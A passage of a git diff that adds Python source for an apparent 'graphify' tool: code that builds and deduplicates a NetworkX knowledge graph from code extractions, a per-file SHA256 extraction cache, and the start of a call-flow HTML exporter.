+_FILE_TYPE_SYNONYMS = { + "markdown": "document", + "text": "document", + "tool": "code", + "library": "code", + "pattern": "concept", + "principle": "concept", + "constraint": "concept", + "tech": "concept", + "technology": "concept", + "data-source": "concept", + "data_source": "concept", + "gotcha": "concept", + "framework": "concept", +} + + +def _normalize_id(s: str) -> str: + r"""Normalize an ID string the same way extract._make_id does. + + Used to reconcile edge endpoints when the LLM generates IDs with slightly + different punctuation or casing than the AST extractor. Must stay in sync + with extract._make_id — NFKC normalization, \w with re.UNICODE, underscore + collapse, and casefold must all match (#811). + """ + s = unicodedata.normalize("NFKC", s) + cleaned = re.sub(r"[^\w]+", "_", s, flags=re.UNICODE) + cleaned = re.sub(r"_+", "_", cleaned) + return cleaned.strip("_").casefold() + + +def _norm_source_file(p: str | None, root: str | None = None) -> str | None: + """Normalize path separators and relativize absolute paths. + + Converts backslashes to forward slashes (Windows compatibility) and, when + root is provided, strips the absolute prefix from paths produced by semantic + subagents so source_file is always repo-relative (fixes #932). + """ + if not p: + return p + p = p.replace("\\", "/") + if root and os.path.isabs(p): + try: + p = Path(p).relative_to(root).as_posix() + except ValueError: + pass + return p + + +def edge_data(G: nx.Graph, u: str, v: str) -> dict: + """Return one edge attribute dict for (u, v), tolerating MultiGraph. + + For MultiGraph/MultiDiGraph there can be multiple parallel edges; + this returns the first one (sufficient for callers that only need + relation/confidence for rendering). Fixes #796. + """ + raw = G[u][v] + if isinstance(G, (nx.MultiGraph, nx.MultiDiGraph)): + return next(iter(raw.values()), {}) + return raw + + +def edge_datas(G: nx.Graph, u: str, v: str) -> list[dict]: + """Return every edge attribute dict for (u, v); always a list.""" + raw = G[u][v] + if isinstance(G, (nx.MultiGraph, nx.MultiDiGraph)): + return list(raw.values()) + return [raw] + + +def build_from_json(extraction: dict, *, directed: bool = False, root: str | Path | None = None) -> nx.Graph: + """Build a NetworkX graph from an extraction dict. + + directed=True produces a DiGraph that preserves edge direction (source→target). + directed=False (default) produces an undirected Graph for backward compatibility. + root: if given, absolute source_file paths from semantic subagents are made + relative to root so all nodes share a consistent path key (#932). + """ + _root = str(Path(root).resolve()) if root else None + # NetworkX <= 3.1 serialised edges as "links"; remap to "edges" for compatibility. + if "edges" not in extraction and "links" in extraction: + extraction = dict(extraction, edges=extraction["links"]) + + # Canonicalize legacy node/edge schema before validation. + for node in extraction.get("nodes", []): + if not isinstance(node, dict): + continue + if "source" in node and "source_file" not in node: + # Count edges that reference this node so the warning is actionable (#479) + node_id = node.get("id", "?") + affected_edges = sum( + 1 for e in extraction.get("edges", []) + if e.get("source") == node_id or e.get("target") == node_id + ) + print( + f"[graphify] WARNING: node '{node_id}' uses field 'source' instead of " + f"'source_file' — {affected_edges} edge(s) may be misrouted. " + f"Rename the field to 'source_file' to silence this warning.", + file=sys.stderr, + ) + node["source_file"] = node.pop("source") + # Default missing/None file_type to "concept" so legacy graph.json + # entries (and stub nodes preserved by `_rebuild_code` from older + # graphify versions that didn't always populate file_type) don't + # trigger spurious "invalid file_type 'None'" validator warnings (#660). + if node.get("file_type") in (None, ""): + node["file_type"] = "concept" + ft = node.get("file_type", "") + if ft and ft not in {"code", "document", "paper", "image", "rationale", "concept"}: + node["file_type"] = _FILE_TYPE_SYNONYMS.get(ft, "concept") + + errors = validate_extraction(extraction) + # Dangling edges (stdlib/external imports) are expected - only warn about real schema errors. + real_errors = [e for e in errors if "does not match any node id" not in e] + if real_errors: + print(f"[graphify] Extraction warning ({len(real_errors)} issues): {real_errors[0]}", file=sys.stderr) + G: nx.Graph = nx.DiGraph() if directed else nx.Graph() + for node in extraction.get("nodes", []): + if "source_file" in node: + node["source_file"] = _norm_source_file(node["source_file"], _root) + G.add_node(node["id"], **{k: v for k, v in node.items() if k != "id"}) + node_set = set(G.nodes()) + + # #1145: merge semantic ghost-duplicate nodes into AST nodes. + # When AST and semantic extractors emit different IDs for the same symbol + # (one has source_location=L, the other has source_location=None), find + # pairs that share (source_file basename, label) and collapse the semantic + # copy into the AST copy so edges re-point to a single node. + # Two passes: first collect all AST (located) nodes, then find ghosts. + _loc_nodes: dict[tuple[str, str], str] = {} # (basename, label) -> AST node id + _noloc_nodes: dict[tuple[str, str], str] = {} # (basename, label) -> semantic node id + for nid in node_set: + attrs = G.nodes[nid] + label = str(attrs.get("label", "")).strip() + sf = str(attrs.get("source_file", "")) + basename = Path(sf).name if sf else "" + if not label or not basename: + continue + if attrs.get("source_location"): + _loc_nodes[(basename, label)] = nid + for nid in node_set: + attrs = G.nodes[nid] + label = str(attrs.get("label", "")).strip() + sf = str(attrs.get("source_file", "")) + basename = Path(sf).name if sf else "" + if not label or not basename or attrs.get("source_location"): + continue + key = (basename, label) + if key in _loc_nodes and _loc_nodes[key] != nid: + _noloc_nodes[key] = nid + # For every ghost that has an AST counterpart, record a remap. + _ghost_remap: dict[str, str] = {} # ghost_id -> canonical_id + for key, sem_id in _noloc_nodes.items(): + ast_id = _loc_nodes.get(key) + if ast_id is not None: + _ghost_remap[sem_id] = ast_id + # Remove ghost nodes from the graph; edges will be re-pointed via norm_to_id. + for ghost_id in _ghost_remap: + G.remove_node(ghost_id) + node_set.discard(ghost_id) + + # Normalized ID map: lets edges survive when the LLM generates IDs with + # slightly different casing or punctuation than the AST extractor. + # e.g. "Session_ValidateToken" maps to "session_validatetoken". + norm_to_id: dict[str, str] = {_normalize_id(nid): nid for nid in node_set} + # Also map ghost IDs to their canonical AST replacements. + for ghost_id, canonical_id in _ghost_remap.items(): + norm_to_id[_normalize_id(ghost_id)] = canonical_id + norm_to_id[ghost_id] = canonical_id + # Iterate edges in a deterministic order. The graph is undirected and stores + # direction in _src/_tgt; when two edges collapse onto the same node pair the + # last write wins, so an unstable iteration order flips _src/_tgt run-to-run + # and makes the serialized graph churn. Sorting fixes the last-write outcome. + for edge in sorted( + extraction.get("edges", []), + key=lambda e: ( + str(e.get("source", e.get("from", ""))), + str(e.get("target", e.get("to", ""))), + str(e.get("relation", "")), + ), + ): + if "source" not in edge and "from" in edge: + edge["source"] = edge["from"] + if "target" not in edge and "to" in edge: + edge["target"] = edge["to"] + if "source" not in edge or "target" not in edge: + continue + src, tgt = edge["source"], edge["target"] + # Remap mismatched IDs via normalization before dropping the edge. + if src not in node_set: + src = norm_to_id.get(_normalize_id(src), src) + if tgt not in node_set: + tgt = norm_to_id.get(_normalize_id(tgt), tgt) + if src not in node_set or tgt not in node_set: + continue # skip edges to external/stdlib nodes - expected, not an error + attrs = {k: v for k, v in edge.items() if k not in ("source", "target")} + if "source_file" in attrs: + attrs["source_file"] = _norm_source_file(attrs["source_file"], _root) + # Drop cross-language INFERRED `calls` edges — same short names (render, + # parse, etc.) appear across language boundaries in multi-language chunks, + # producing phantom edges that don't represent real call relationships. + if attrs.get("relation") == "calls" and attrs.get("confidence") == "INFERRED": + _LANG_FAMILY: dict[str, str] = { + ".py": "py", ".pyi": "py", + ".js": "js", ".mjs": "js", ".cjs": "js", ".jsx": "js", + ".ts": "js", ".tsx": "js", + ".go": "go", ".rs": "rs", + ".java": "jvm", ".kt": "jvm", ".scala": "jvm", ".groovy": "jvm", + ".c": "c", ".h": "c", ".cc": "cpp", ".cpp": "cpp", ".hpp": "cpp", + ".rb": "rb", ".php": "php", ".cs": "cs", ".swift": "swift", ".lua": "lua", + } + src_ext = Path(G.nodes[src].get("source_file") or "").suffix.lower() + tgt_ext = Path(G.nodes[tgt].get("source_file") or "").suffix.lower() + if src_ext and tgt_ext and _LANG_FAMILY.get(src_ext) != _LANG_FAMILY.get(tgt_ext): + continue + # Preserve original edge direction - undirected graphs lose it otherwise, + # causing display functions to show edges backwards. + attrs["_src"] = src + attrs["_tgt"] = tgt + # When the graph is undirected and the same node pair appears twice with + # the same relation but opposite directions (e.g. a `calls` b and b `calls` a), + # nx.Graph collapses them into one edge. The deterministic sort above means + # the lexicographically-later direction would systematically overwrite the + # earlier one's _src/_tgt, silently flipping the surviving edge's caller + # and callee. First-seen direction wins instead — drop the redundant + # reverse-direction duplicate so the original direction is preserved (#1061). + if not G.is_directed() and G.has_edge(src, tgt): + existing = edge_data(G, src, tgt) + if existing.get("relation") == attrs.get("relation") and ( + existing.get("_src") == tgt and existing.get("_tgt") == src + ): + continue + G.add_edge(src, tgt, **attrs) + hyperedges = extraction.get("hyperedges", []) + if hyperedges: + G.graph["hyperedges"] = hyperedges + return G + + +def build( + extractions: list[dict], + *, + directed: bool = False, + dedup: bool = True, + dedup_llm_backend: str | None = None, + root: str | Path | None = None, +) -> nx.Graph: + """Merge multiple extraction results into one graph. + + directed=True produces a DiGraph that preserves edge direction (source→target). + directed=False (default) produces an undirected Graph for backward compatibility. + dedup=True (default) runs entity deduplication before building the graph. + dedup_llm_backend: if set (e.g. "gemini", "claude", or "kimi"), uses LLM to resolve + ambiguous pairs in the 75–92 Jaro-Winkler score zone. + root: if given, absolute source_file paths are made relative to root (#932). + + Extractions are merged in order. For nodes with the same ID, the last + extraction's attributes win (NetworkX add_node overwrites). Pass AST + results before semantic results so semantic labels take precedence, or + reverse the order if you prefer AST source_location precision to win. + """ + from graphify.dedup import deduplicate_entities + combined: dict = {"nodes": [], "edges": [], "hyperedges": [], "input_tokens": 0, "output_tokens": 0} + for ext in extractions: + combined["nodes"].extend(ext.get("nodes", [])) + combined["edges"].extend(ext.get("edges", [])) + combined["hyperedges"].extend(ext.get("hyperedges", [])) + combined["input_tokens"] += ext.get("input_tokens", 0) + combined["output_tokens"] += ext.get("output_tokens", 0) + if dedup and combined["nodes"]: + combined["nodes"], combined["edges"] = deduplicate_entities( + combined["nodes"], combined["edges"], communities={}, + dedup_llm_backend=dedup_llm_backend, + ) + return build_from_json(combined, directed=directed, root=root) + + +def _norm_label(label: str) -> str: + """Canonical dedup key — Unicode-aware, preserves CJK/word characters.""" + label = unicodedata.normalize("NFKC", label) + return re.sub(r"[\W_ ]+", " ", label.casefold(), flags=re.UNICODE).strip() + + +def deduplicate_by_label(nodes: list[dict], edges: list[dict]) -> tuple[list[dict], list[dict]]: + """Merge nodes that share a normalised label, rewriting edge references. + + Prefers IDs without chunk suffixes (_c\\d+) and shorter IDs when tied. + Drops self-loops created by the merge. Called in build() automatically. + """ + _CHUNK_SUFFIX = re.compile(r"_c\d+$") + canonical: dict[str, dict] = {} # norm_label -> surviving node + remap: dict[str, str] = {} # old_id -> surviving_id + + for node in nodes: + key = _norm_label(node.get("label", node.get("id", ""))) + if not key: + continue + existing = canonical.get(key) + if existing is None: + canonical[key] = node + else: + has_suffix = bool(_CHUNK_SUFFIX.search(node["id"])) + existing_has_suffix = bool(_CHUNK_SUFFIX.search(existing["id"])) + if has_suffix and not existing_has_suffix: + remap[node["id"]] = existing["id"] + elif existing_has_suffix and not has_suffix: + remap[existing["id"]] = node["id"] + canonical[key] = node + elif len(node["id"]) < len(existing["id"]): + remap[existing["id"]] = node["id"] + canonical[key] = node + else: + remap[node["id"]] = existing["id"] + + if not remap: + return nodes, edges + + print(f"[graphify] Deduplicated {len(remap)} duplicate node(s) by label.", file=sys.stderr) + deduped_nodes = list(canonical.values()) + deduped_edges = [] + for edge in edges: + e = dict(edge) + e["source"] = remap.get(e["source"], e["source"]) + e["target"] = remap.get(e["target"], e["target"]) + if e["source"] != e["target"]: + deduped_edges.append(e) + return deduped_nodes, deduped_edges + + +def build_merge( + new_chunks: list[dict], + graph_path: str | Path = "graphify-out/graph.json", + prune_sources: list[str] | None = None, + *, + directed: bool = False, + dedup: bool = True, + dedup_llm_backend: str | None = None, + root: str | Path | None = None, +) -> nx.Graph: + """Load existing graph.json, merge new chunks into it, and save back. + + Never replaces - only grows (or prunes deleted-file nodes via prune_sources). + Safe to call repeatedly: existing nodes and edges are preserved. + root: if given, absolute source_file paths in new_chunks are made relative (#932). + """ + graph_path = Path(graph_path) + if graph_path.exists(): + # Read JSON directly instead of going through node_link_graph(). + # The latter rebuilds an undirected nx.Graph and then enumerating + # edges() yields endpoints based on node insertion order, which + # silently flips directional edges (e.g. `calls`) when the callee + # was inserted before the caller. The _src/_tgt direction-preserving + # attrs are popped before saving in export.py, so going through the + # NetworkX round-trip loses direction permanently (#760). + from graphify.security import check_graph_file_size_cap + check_graph_file_size_cap(graph_path) + data = json.loads(graph_path.read_text(encoding="utf-8")) + links_key = "links" if "links" in data else "edges" + existing_nodes = list(data.get("nodes", [])) + existing_edges = list(data.get(links_key, [])) + base = [{"nodes": existing_nodes, "edges": existing_edges}] + else: + existing_nodes = [] + base = [] + + all_chunks = base + list(new_chunks) + G = build(all_chunks, directed=directed, dedup=dedup, dedup_llm_backend=dedup_llm_backend, root=root) + + # Prune nodes and edges from deleted source files + if prune_sources: + # Build a set containing both the raw form (matches nodes that kept + # absolute source_file) and the normalised relative form (matches nodes + # that were relativised by _norm_source_file at build time). + # .resolve() handles symlinked roots and redundant ".." / "./" segments + # so Path.relative_to() succeeds even when the scan root is a symlink. + # (#1007: manifest absolute paths vs graph relative source_file mismatch) + _root_str = str(Path(root).resolve()) if root is not None else None + prune_set: set[str] = set() + for p in prune_sources: + if not p: + continue + prune_set.add(p) + norm = _norm_source_file(p, _root_str) + if norm: + prune_set.add(norm) + to_remove = [ + n for n, d in G.nodes(data=True) + if d.get("source_file") in prune_set + ] + G.remove_nodes_from(to_remove) + n_files = len(prune_sources) + n_nodes = len(to_remove) + if n_nodes: + print( + f"[graphify] Pruned {n_nodes} node(s) from {n_files} deleted source file(s).", + file=sys.stderr, + ) + + edges_to_remove = [ + (u, v) for u, v, d in G.edges(data=True) + if d.get("source_file") in prune_set + ] + if edges_to_remove: + G.remove_edges_from(edges_to_remove) + print( + f"[graphify] Pruned {len(edges_to_remove)} edge(s) from deleted source file(s).", + file=sys.stderr, + ) + + if not n_nodes and not edges_to_remove: + print( + f"[graphify] {n_files} source file(s) deleted since last run — " + f"no matching nodes or edges in graph, already clean.", + file=sys.stderr, + ) + + # Safety check: refuse to shrink the graph silently (#479) + # Skip when dedup or prune_sources is active — shrinkage is intentional there. + if graph_path.exists() and not dedup and not prune_sources: + existing_n = len(existing_nodes) + new_n = G.number_of_nodes() + if new_n < existing_n: + raise ValueError( + f"graphify: build_merge would shrink graph from {existing_n} → {new_n} nodes. " + f"Pass prune_sources explicitly if you intend to remove nodes." + ) + + return G + + +def prefix_graph_for_global(G: nx.Graph, repo_tag: str) -> nx.Graph: + """Return a copy of G with all node IDs prefixed with repo_tag::. + + Labels are preserved unchanged (for display). A 'local_id' attribute + is added to each node so the original ID can be recovered. Edges are + rewritten to match the new prefixed IDs. The 'repo' attribute is set + on every node. + """ + relabel = {n: f"{repo_tag}::{n}" for n in G.nodes} + H = nx.relabel_nodes(G, relabel, copy=True) + for node, data in H.nodes(data=True): + data["repo"] = repo_tag + data.setdefault("local_id", node.split("::", 1)[1]) + return H + + +def prune_repo_from_graph(G: nx.Graph, repo_tag: str) -> int: + """Remove all nodes tagged with repo_tag from G in-place. Returns count removed.""" + to_remove = [n for n, d in G.nodes(data=True) if d.get("repo") == repo_tag] + G.remove_nodes_from(to_remove) + return len(to_remove) diff --git a/skills/graphify/cache.py b/skills/graphify/cache.py new file mode 100644 index 00000000..407ae467 --- /dev/null +++ b/skills/graphify/cache.py @@ -0,0 +1,417 @@ +# per-file extraction cache - skip unchanged files on re-run +from __future__ import annotations + +import atexit +import hashlib +import json +import os +import tempfile +from pathlib import Path + +# Output directory name — override with GRAPHIFY_OUT env var for worktrees or +# shared-output setups. Accepts a relative name ("graphify-out-feature") or an +# absolute path ("/shared/graphify-out"). +_GRAPHIFY_OUT = os.environ.get("GRAPHIFY_OUT", "graphify-out") + + +def _body_content(content: bytes) -> bytes: + """Strip YAML frontmatter from Markdown content, returning only the body.""" + text = content.decode(errors="replace") + if text.startswith("---"): + end = text.find("\n---", 3) + if end != -1: + return text[end + 4:].encode() + return content + + +# Stat-based index: maps absolute path → {size, mtime_ns, hash}. +# Loaded once per process, flushed via atexit. Skips full file reads when +# size+mtime_ns are unchanged — same trade-off as make(1). +# Correctness risks: `touch` causes a harmless extra re-hash; same-size edits +# within NFS second-resolution mtime have a 1-second window (same as make). +# Use `graphify extract --force` to bypass when needed. +_stat_index: dict[str, dict] = {} +_stat_index_root: Path | None = None +_stat_index_dirty: bool = False + + +def _stat_index_file(root: Path) -> Path: + _out = Path(_GRAPHIFY_OUT) + base = _out if _out.is_absolute() else Path(root).resolve() / _out + return base / "cache" / "stat-index.json" + + +def _ensure_stat_index(root: Path) -> None: + global _stat_index, _stat_index_root, _stat_index_dirty + if _stat_index_root is not None: + return + _stat_index_root = Path(root).resolve() + p = _stat_index_file(_stat_index_root) + if p.exists(): + try: + _stat_index = json.loads(p.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + _stat_index = {} + else: + _stat_index = {} + atexit.register(_flush_stat_index) + + +def _flush_stat_index() -> None: + global _stat_index_dirty, _stat_index_root + if not _stat_index_dirty or _stat_index_root is None: + return + p = _stat_index_file(_stat_index_root) + try: + p.parent.mkdir(parents=True, exist_ok=True) + fd, tmp = tempfile.mkstemp(dir=p.parent, prefix="stat-index.", suffix=".tmp") + try: + os.write(fd, json.dumps(_stat_index, separators=(",", ":")).encode()) + os.close(fd) + os.replace(tmp, p) + except Exception: + try: + os.close(fd) + except OSError: + pass + try: + os.unlink(tmp) + except OSError: + pass + except OSError: + pass + _stat_index_dirty = False + + +def _normalize_path(path: Path) -> Path: + """Normalize path for consistent cache keys across Windows path spellings.""" + import sys + if sys.platform != "win32": + return path + s = str(path) + if s.startswith("\\\\?\\"): + s = s[4:] # strip extended-length prefix \\?\ + return Path(os.path.normcase(s)) + + +def file_hash(path: Path, root: Path = Path(".")) -> str: + """SHA256 of file contents + path relative to root. + + Uses a stat-based fastpath (size + mtime_ns) to skip full reads when the + file hasn't changed. Falls through to full SHA256 on first encounter or + when stat changes. Index is flushed atomically at process exit. + + Using a relative path (not absolute) makes cache entries portable across + machines and checkout directories, so shared caches and CI work correctly. + Falls back to the resolved absolute path if the file is outside root. + + For Markdown files (.md), only the body below the YAML frontmatter is hashed, + so metadata-only changes (e.g. reviewed, status, tags) do not invalidate the cache. + """ + global _stat_index_dirty + p = _normalize_path(Path(path)) + root = _normalize_path(Path(root)) + if not p.is_file(): + raise IsADirectoryError(f"file_hash requires a file, got: {p}") + + _ensure_stat_index(root) + abs_key = str(p.resolve()) + st: "os.stat_result | None" = None + try: + st = p.stat() + entry = _stat_index.get(abs_key) + if (entry + and entry.get("size") == st.st_size + and entry.get("mtime_ns") == st.st_mtime_ns): + return entry["hash"] + except OSError: + pass + + raw = p.read_bytes() + content = _body_content(raw) if p.suffix.lower() == ".md" else raw + h = hashlib.sha256() + h.update(content) + h.update(b"\x00") + try: + rel = p.resolve().relative_to(Path(root).resolve()) + h.update(rel.as_posix().lower().encode()) + except ValueError: + h.update(p.resolve().as_posix().lower().encode()) + digest = h.hexdigest() + + if st is not None: + _stat_index[abs_key] = {"size": st.st_size, "mtime_ns": st.st_mtime_ns, "hash": digest} + _stat_index_dirty = True + + return digest + + +def _relativize_source_files_in(payload: dict, root: Path) -> None: + """Mutate ``payload`` to rewrite absolute ``source_file`` fields as + forward-slash relative paths from ``root``. + + Mirror of :func:`graphify.watch._relativize_source_files` so cached + extraction fragments persist in portable form (#777). Already-relative + fields and out-of-root paths pass through unchanged. + + Only ``root`` is resolved — ``source_file`` itself is relativized + symbolically so in-root symlinks keep their original name rather than + pointing at the resolved target. Same reasoning as + :func:`graphify.detect._to_relative_for_storage`. + """ + try: + root_resolved = Path(root).resolve() + except OSError: + return + for bucket in ("nodes", "edges", "hyperedges"): + for item in payload.get(bucket, []): + if not isinstance(item, dict): + continue + source = item.get("source_file") + if not source: + continue + sp = Path(source) + if not sp.is_absolute(): + continue + try: + rel = os.path.relpath(sp, root_resolved) + except (ValueError, OSError): + continue # out-of-root (e.g. Windows cross-drive) + if rel == ".." or rel.startswith(".." + os.sep) or rel.startswith("../"): + continue # escaped root — keep absolute + item["source_file"] = rel.replace(os.sep, "/") + + +def _absolutize_source_files_in(payload: dict, root: Path) -> None: + """Inverse of :func:`_relativize_source_files_in`. + + Re-anchor relative ``source_file`` fields against ``root`` so callers + that load a cached fragment see the same absolute-path shape that a + fresh in-process extraction would produce. Legacy cache entries with + absolute ``source_file`` values pass through unchanged. + """ + try: + root_resolved = Path(root).resolve() + except OSError: + return + for bucket in ("nodes", "edges", "hyperedges"): + for item in payload.get(bucket, []): + if not isinstance(item, dict): + continue + source = item.get("source_file") + if not source: + continue + sp = Path(source) + if sp.is_absolute(): + continue + try: + item["source_file"] = str(root_resolved / sp) + except (TypeError, OSError): + continue + + +def cache_dir(root: Path = Path("."), kind: str = "ast") -> Path: + """Returns graphify-out/cache/{kind}/ - creates it if needed. + + kind is "ast" or "semantic". Separate subdirectories prevent semantic cache + entries from overwriting AST cache entries for the same source_file (#582). + """ + _out = Path(_GRAPHIFY_OUT) + base = _out if _out.is_absolute() else Path(root).resolve() / _out + d = base / "cache" / kind + d.mkdir(parents=True, exist_ok=True) + return d + + +def load_cached(path: Path, root: Path = Path("."), kind: str = "ast") -> dict | None: + """Return cached extraction for this file if hash matches, else None. + + Cache key: SHA256 of file contents. + Cache value: stored as graphify-out/cache/{kind}/{hash}.json + + For kind="ast", also checks the legacy flat cache/ directory so users + upgrading from pre-0.5.3 don't lose their existing AST cache entries. + Returns None if no cache entry or file has changed. + """ + try: + h = file_hash(path, root) + except OSError: + return None + entry = cache_dir(root, kind) / f"{h}.json" + if entry.exists(): + try: + result = json.loads(entry.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + # Re-anchor relative source_file fields so callers see the same + # absolute-path shape that a fresh in-process extraction produces + # (#777). Legacy entries with absolute source_file pass through. + if isinstance(result, dict): + _absolutize_source_files_in(result, root) + return result + # Migration fallback: check legacy flat cache/ dir for AST entries + if kind == "ast": + legacy = Path(root).resolve() / _GRAPHIFY_OUT / "cache" / f"{h}.json" + if legacy.exists(): + try: + result = json.loads(legacy.read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError): + return None + if isinstance(result, dict): + _absolutize_source_files_in(result, root) + return result + return None + + +def save_cached(path: Path, result: dict, root: Path = Path("."), kind: str = "ast") -> None: + """Save extraction result for this file. + + Stores as graphify-out/cache/{kind}/{hash}.json where hash = SHA256 of current file contents. + result should be a dict with 'nodes' and 'edges' lists. + + No-ops if `path` is not a regular file. Subagent-produced semantic fragments + occasionally carry a directory path in `source_file`; skipping them prevents + IsADirectoryError from aborting the whole batch. + """ + p = Path(path) + if not p.is_file(): + return + # Relativize source_file fields against ``root`` before write so the + # cache file on disk is portable across machines and checkout + # directories (#777). The cache key is content-hashed so lookup is + # already path-independent; this fixes the embedded path leak. + # + # Serialize a relativized copy rather than mutating the caller's dict — + # downstream pipeline steps (notably extract.py's AST prefix remap, which + # looks up Path(source_file).resolve() in a prefix table) depend on the + # source_file field's original absolute form. Mutating the input here would + # silently break those remaps on the first extraction pass. + on_disk = result + if isinstance(result, dict) and any(result.get(k) for k in ("nodes", "edges", "hyperedges")): + import copy as _copy + on_disk = _copy.deepcopy(result) + _relativize_source_files_in(on_disk, root) + h = file_hash(p, root) + target_dir = cache_dir(root, kind) + entry = target_dir / f"{h}.json" + fd, tmp_path = tempfile.mkstemp(dir=target_dir, prefix=f"{h}.", suffix=".tmp") + try: + os.write(fd, json.dumps(on_disk).encode()) + os.close(fd) + try: + os.replace(tmp_path, entry) + except PermissionError: + # Windows: os.replace can fail with WinError 5 if the target is + # briefly locked. Fall back to copy-then-delete. + import shutil + shutil.copy2(tmp_path, entry) + os.unlink(tmp_path) + except Exception: + try: + os.close(fd) + except OSError: + pass + try: + os.unlink(tmp_path) + except OSError: + pass + raise + + +def cached_files(root: Path = Path(".")) -> set[str]: + """Return set of file hashes that have a valid cache entry (any kind).""" + base = Path(root).resolve() / _GRAPHIFY_OUT / "cache" + hashes: set[str] = set() + # Legacy flat entries + if base.is_dir(): + hashes.update(p.stem for p in base.glob("*.json")) + # Namespaced entries + for kind in ("ast", "semantic"): + d = base / kind + if d.is_dir(): + hashes.update(p.stem for p in d.glob("*.json")) + return hashes + + +def clear_cache(root: Path = Path(".")) -> None: + """Delete all cache entries (ast/, semantic/, and legacy flat entries).""" + base = Path(root).resolve() / _GRAPHIFY_OUT / "cache" + # Legacy flat entries + if base.is_dir(): + for f in base.glob("*.json"): + f.unlink() + # Namespaced entries + for kind in ("ast", "semantic"): + d = base / kind + if d.is_dir(): + for f in d.glob("*.json"): + f.unlink() + + +def check_semantic_cache( + files: list[str], + root: Path = Path("."), +) -> tuple[list[dict], list[dict], list[dict], list[str]]: + """Check semantic extraction cache for a list of absolute file paths. + + Returns (cached_nodes, cached_edges, cached_hyperedges, uncached_files). + Uncached files need Claude extraction; cached files are merged directly. + """ + cached_nodes: list[dict] = [] + cached_edges: list[dict] = [] + cached_hyperedges: list[dict] = [] + uncached: list[str] = [] + + for fpath in files: + p = Path(fpath) + if not p.is_absolute(): + p = Path(root) / p + result = load_cached(p, root, kind="semantic") + if result is not None: + cached_nodes.extend(result.get("nodes", [])) + cached_edges.extend(result.get("edges", [])) + cached_hyperedges.extend(result.get("hyperedges", [])) + else: + uncached.append(fpath) + + return cached_nodes, cached_edges, cached_hyperedges, uncached + + +def save_semantic_cache( + nodes: list[dict], + edges: list[dict], + hyperedges: list[dict] | None = None, + root: Path = Path("."), +) -> int: + """Save semantic extraction results to cache, keyed by source_file. + + Groups nodes and edges by source_file, then saves one cache entry per file + under cache/semantic/ (separate from AST entries in cache/ast/) to prevent + hash-key collisions (#582). + Returns the number of files cached. + """ + from collections import defaultdict + + by_file: dict[str, dict] = defaultdict(lambda: {"nodes": [], "edges": [], "hyperedges": []}) + for n in nodes: + src = n.get("source_file", "") + if src: + by_file[src]["nodes"].append(n) + for e in edges: + src = e.get("source_file", "") + if src: + by_file[src]["edges"].append(e) + for h in (hyperedges or []): + src = h.get("source_file", "") + if src: + by_file[src]["hyperedges"].append(h) + + saved = 0 + for fpath, result in by_file.items(): + p = Path(fpath) + if not p.is_absolute(): + p = Path(root) / p + if p.is_file(): + save_cached(p, result, root, kind="semantic") + saved += 1 + return saved diff --git a/skills/graphify/callflow_html.py b/skills/graphify/callflow_html.py new file mode 100644 index 00000000..6195adb9 --- /dev/null +++ b/skills/graphify/callflow_html.py @@ -0,0 +1,2020 @@ +#!/usr/bin/env python3 +""" +callflow_html.py — Generate call-flow architecture HTML from graphify knowledge graph outputs. + +Reads graph.json plus optional GRAPH_REPORT.md, .graphify_labels.json, and sections JSON, +then produces a self-contained HTML file with: + - Dark-themed CSS (fixed template) + - Navigation bar from section list + - Architecture overview flowchart LR (aggregated section-level edges) + - Per-section flowchart LR (auto-generated representative intra-section edges) + - Call detail table scaffolding (headers + representative node rows) + - Auto-generated section intros and key-file cards + +Usage: + python3 -m graphify export callflow-html + python3 -m graphify export callflow-html /path/to/project/graphify-out/graph.json + python3 -m graphify export callflow-html --graph /path/to/graph.json --output docs/architecture.html +""" + +from __future__ import annotations + +import json +import argparse +import os +import re +import sys +import hashlib +from pathlib import Path +from collections import Counter, defaultdict +from datetime import datetime, timezone +from html import escape + + +# ────────────────────────────────────────────── +# 1. CSS template (fixed, project-agnostic) +# ────────────────────────────────────────────── + +CSS = """:root { + --bg: #0f172a; --surface: #1e293b; --border: #334155; + --text: #e2e8f0; --muted: #94a3b8; --accent: #38bdf8; + --warn: #fbbf24; --err: #f87171; --ok: #34d399; +} +* { box-sizing: border-box; margin: 0; padding: 0; } +body { font-family: 'Segoe UI', system-ui, -apple-system, sans-serif; background: var(--bg); color: var(--text); line-height: 1.7; } +.container { max-width: 1200px; margin: 0 auto; padding: 40px 24px; } +h1 { font-size: 2.4rem; margin-bottom: 8px; background: linear-gradient(135deg, var(--accent), #a78bfa); -webkit-background-clip: text; -webkit-text-fill-color: transparent; } +h2 { font-size: 1.7rem; margin: 48px 0 16px; padding-bottom: 8px; border-bottom: 2px solid var(--accent); } +h3 { font-size: 1.25rem; margin: 32px 0 12px; color: var(--accent); } +h4 { font-size: 1.05rem; margin: 20px 0 8px; color: var(--warn); } +p { margin: 8px 0; color: var(--muted); } +.subtitle { color: var(--muted); font-size: 1.1rem; margin-bottom: 32px; } +.mermaid { background: var(--surface); border: 1px solid var(--border); border-radius: 12px; padding: 24px; margin: 20px 0; overflow-x: auto; position: relative; } +.mermaid.is-enhanced { padding: 0; overflow: hidden; min-height: 260px; } +.mermaid-viewport { padding: 54px 24px 24px; overflow: hidden; cursor: grab; touch-action: none; min-height: 260px; } +.mermaid-viewport.is-dragging { cursor: grabbing; } +.mermaid-viewport svg { max-width: none !important; height: auto; transform-origin: 0 0; transition: transform 120ms ease; } +.mermaid-toolbar { position: absolute; top: 10px; right: 10px; z-index: 3; display: flex; align-items: center; gap: 6px; padding: 6px; background: rgba(15,23,42,0.92); border: 1px solid var(--border); border-radius: 8px; box-shadow: 0 8px 24px rgba(0,0,0,0.28); } +.mermaid-toolbar button, .mermaid-toolbar .zoom-level { height: 28px; min-width: 32px; border: 1px solid var(--border); border-radius: 6px; background: #1e293b; color: var(--text); font: 600 0.78rem system-ui, sans-serif; display: inline-flex; align-items: center; justify-content: center; } +.mermaid-toolbar button { cursor: pointer; } +.mermaid-toolbar button:hover { border-color: var(--accent); color: var(--accent); } +.mermaid-toolbar .zoom-level { min-width: 52px; color: var(--muted); background: transparent; } +.call-table { width: 100%; border-collapse: collapse; margin: 16px 0; font-size: 0.92rem; } +.call-table th { background: #1a2744; color: var(--accent); text-align: left; padding: 10px 14px; border: 1px solid var(--border); } +.call-table td { padding: 8px 14px; border: 1px solid var(--border); vertical-align: top; } +.call-table tr:nth-child(even) { background: rgba(255,255,255,0.02); } +.tag { 